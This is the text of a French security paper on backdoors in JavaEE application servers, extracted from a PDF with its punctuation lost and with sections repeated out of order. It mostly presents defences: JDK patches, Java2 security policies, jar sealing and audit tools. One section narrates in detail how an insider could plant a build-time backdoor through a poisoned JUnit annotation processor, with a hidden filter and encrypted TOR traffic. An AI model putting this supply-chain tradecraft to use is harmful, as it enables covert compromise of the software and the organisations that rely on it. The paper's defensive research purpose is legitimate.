j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
